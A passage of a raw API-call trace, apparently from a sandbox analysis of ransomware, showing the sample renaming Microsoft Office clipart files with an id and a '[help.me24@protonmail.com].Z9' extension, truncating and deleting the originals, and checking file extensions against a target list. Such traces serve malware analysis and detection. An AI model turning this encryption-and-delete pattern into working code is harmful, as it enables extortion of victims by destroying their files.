	[0167.187] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=4967) returned 1
	[0167.187] CloseHandle (hObject=0x4cc) returned 1
	[0167.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 0x220
	[0167.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.379] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.379] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0167.380] GetLastError () returned 0x0
	[0167.380] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x1367, lpOverlapped=0x0) returned 1
	[0167.382] WriteFile (in: hFile=0x440, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0167.383] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.383] WriteFile (in: hFile=0x440, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.384] SetEndOfFile (hFile=0x440) returned 1
	[0167.384] CloseHandle (hObject=0x440) returned 1
	[0167.384] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.384] SetEndOfFile (hFile=0x4cc) returned 1
	[0167.387] CloseHandle (hObject=0x4cc) returned 1
	[0167.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 1
	[0167.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0167.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0167.388] lstrlenW (lpString=".doc") returned 4
	[0167.388] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0167.388] lstrlenW (lpString=".docx") returned 5
	[0167.388] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1
	[0167.388] lstrlenW (lpString=".pdf") returned 4
	[0167.388] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0167.388] lstrlenW (lpString=".xls") returned 4
	[0167.388] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0167.388] lstrlenW (lpString=".xlsx") returned 5
	[0167.389] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1
	[0167.389] lstrlenW (lpString=".ppt") returned 4
	[0167.389] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0167.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0167.389] lstrlenW (lpString=".zip") returned 4
	[0167.389] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0167.389] lstrlenW (lpString=".rar") returned 4
	[0167.389] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0167.389] lstrlenW (lpString=".bz2") returned 4
	[0167.389] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0167.389] lstrlenW (lpString=".7z") returned 3
	[0167.389] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0167.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0167.389] lstrlenW (lpString=".dbf") returned 4
	[0167.389] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0167.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0167.389] lstrlenW (lpString=".1cd") returned 4
	[0167.389] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0167.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0167.389] lstrlenW (lpString=".jpg") returned 4
	[0167.389] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0167.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0167.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0167.389] lstrlenW (lpString=".doc") returned 4
	[0167.389] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0167.389] lstrlenW (lpString=".docx") returned 5
	[0167.389] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1
	[0167.389] lstrlenW (lpString=".pdf") returned 4
	[0167.389] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0167.389] lstrlenW (lpString=".xls") returned 4
	[0167.389] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0167.389] lstrlenW (lpString=".xlsx") returned 5
	[0167.389] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1
	[0167.389] lstrlenW (lpString=".ppt") returned 4
	[0167.390] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0167.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0167.390] lstrlenW (lpString=".zip") returned 4
	[0167.390] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0167.390] lstrlenW (lpString=".rar") returned 4
	[0167.390] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0167.390] lstrlenW (lpString=".bz2") returned 4
	[0167.390] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0167.390] lstrlenW (lpString=".7z") returned 3
	[0167.390] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0167.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0167.390] lstrlenW (lpString=".dbf") returned 4
	[0167.390] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0167.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0167.390] lstrlenW (lpString=".1cd") returned 4
	[0167.390] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0167.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0167.390] lstrlenW (lpString=".jpg") returned 4
	[0167.390] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0167.390] lstrcmpiW (lpString1=".BMP", lpString2=".Z9") returned -1
	[0167.390] lstrlenW (lpString="J0101857.BMP") returned 12
	[0167.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.392] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=32184) returned 1
	[0167.392] CloseHandle (hObject=0x4cc) returned 1
	[0167.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 0x220
	[0167.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.393] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.393] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0167.393] GetLastError () returned 0x0
	[0167.393] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0167.405] WriteFile (in: hFile=0x440, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0167.407] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.407] WriteFile (in: hFile=0x440, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.407] SetEndOfFile (hFile=0x440) returned 1
	[0167.407] CloseHandle (hObject=0x440) returned 1
	[0167.407] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.407] SetEndOfFile (hFile=0x4cc) returned 1
	[0167.418] CloseHandle (hObject=0x4cc) returned 1
	[0167.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 1
	[0167.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0167.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0167.419] lstrlenW (lpString=".doc") returned 4
	[0167.419] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.419] lstrlenW (lpString=".docx") returned 5
	[0167.419] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1
	[0167.419] lstrlenW (lpString=".pdf") returned 4
	[0167.419] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.419] lstrlenW (lpString=".xls") returned 4
	[0167.419] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.419] lstrlenW (lpString=".xlsx") returned 5
	[0167.419] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1
	[0167.419] lstrlenW (lpString=".ppt") returned 4
	[0167.419] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0167.419] lstrlenW (lpString=".zip") returned 4
	[0167.419] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.419] lstrlenW (lpString=".rar") returned 4
	[0167.419] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.419] lstrlenW (lpString=".bz2") returned 4
	[0167.420] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.420] lstrlenW (lpString=".7z") returned 3
	[0167.420] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0167.420] lstrlenW (lpString=".dbf") returned 4
	[0167.420] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0167.420] lstrlenW (lpString=".1cd") returned 4
	[0167.420] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0167.420] lstrlenW (lpString=".jpg") returned 4
	[0167.420] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0167.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0167.420] lstrlenW (lpString=".doc") returned 4
	[0167.420] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.420] lstrlenW (lpString=".docx") returned 5
	[0167.420] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1
	[0167.420] lstrlenW (lpString=".pdf") returned 4
	[0167.420] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.420] lstrlenW (lpString=".xls") returned 4
	[0167.420] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.420] lstrlenW (lpString=".xlsx") returned 5
	[0167.420] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1
	[0167.420] lstrlenW (lpString=".ppt") returned 4
	[0167.420] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0167.420] lstrlenW (lpString=".zip") returned 4
	[0167.420] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.420] lstrlenW (lpString=".rar") returned 4
	[0167.420] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.420] lstrlenW (lpString=".bz2") returned 4
	[0167.420] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.421] lstrlenW (lpString=".7z") returned 3
	[0167.421] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0167.421] lstrlenW (lpString=".dbf") returned 4
	[0167.421] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0167.421] lstrlenW (lpString=".1cd") returned 4
	[0167.421] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68
	[0167.421] lstrlenW (lpString=".jpg") returned 4
	[0167.421] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.421] lstrcmpiW (lpString1=".BMP", lpString2=".Z9") returned -1
	[0167.421] lstrlenW (lpString="J0101858.BMP") returned 12
	[0167.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.422] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=32184) returned 1
	[0167.422] CloseHandle (hObject=0x4cc) returned 1
	[0167.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 0x220
	[0167.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.422] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.422] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0167.423] GetLastError () returned 0x0
	[0167.423] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0167.543] WriteFile (in: hFile=0x440, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0167.545] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.545] WriteFile (in: hFile=0x440, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.545] SetEndOfFile (hFile=0x440) returned 1
	[0167.609] CloseHandle (hObject=0x440) returned 1
	[0167.609] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.609] SetEndOfFile (hFile=0x4cc) returned 1
	[0167.612] CloseHandle (hObject=0x4cc) returned 1
	[0167.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 1
	[0167.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0167.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0167.615] lstrlenW (lpString=".doc") returned 4
	[0167.615] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.615] lstrlenW (lpString=".docx") returned 5
	[0167.615] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1
	[0167.615] lstrlenW (lpString=".pdf") returned 4
	[0167.615] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.615] lstrlenW (lpString=".xls") returned 4
	[0167.615] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.615] lstrlenW (lpString=".xlsx") returned 5
	[0167.615] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1
	[0167.615] lstrlenW (lpString=".ppt") returned 4
	[0167.615] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0167.615] lstrlenW (lpString=".zip") returned 4
	[0167.615] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.615] lstrlenW (lpString=".rar") returned 4
	[0167.615] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.615] lstrlenW (lpString=".bz2") returned 4
	[0167.615] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.615] lstrlenW (lpString=".7z") returned 3
	[0167.615] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0167.616] lstrlenW (lpString=".dbf") returned 4
	[0167.616] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0167.616] lstrlenW (lpString=".1cd") returned 4
	[0167.616] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0167.616] lstrlenW (lpString=".jpg") returned 4
	[0167.616] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0167.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0167.616] lstrlenW (lpString=".doc") returned 4
	[0167.616] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.616] lstrlenW (lpString=".docx") returned 5
	[0167.616] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1
	[0167.616] lstrlenW (lpString=".pdf") returned 4
	[0167.616] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.616] lstrlenW (lpString=".xls") returned 4
	[0167.616] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.616] lstrlenW (lpString=".xlsx") returned 5
	[0167.616] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1
	[0167.616] lstrlenW (lpString=".ppt") returned 4
	[0167.616] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0167.616] lstrlenW (lpString=".zip") returned 4
	[0167.616] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.616] lstrlenW (lpString=".rar") returned 4
	[0167.616] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.616] lstrlenW (lpString=".bz2") returned 4
	[0167.616] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.616] lstrlenW (lpString=".7z") returned 3
	[0167.616] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0167.616] lstrlenW (lpString=".dbf") returned 4
	[0167.616] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0167.617] lstrlenW (lpString=".1cd") returned 4
	[0167.617] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0167.617] lstrlenW (lpString=".jpg") returned 4
	[0167.617] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.617] lstrcmpiW (lpString1=".BMP", lpString2=".Z9") returned -1
	[0167.617] lstrlenW (lpString="J0101863.BMP") returned 12
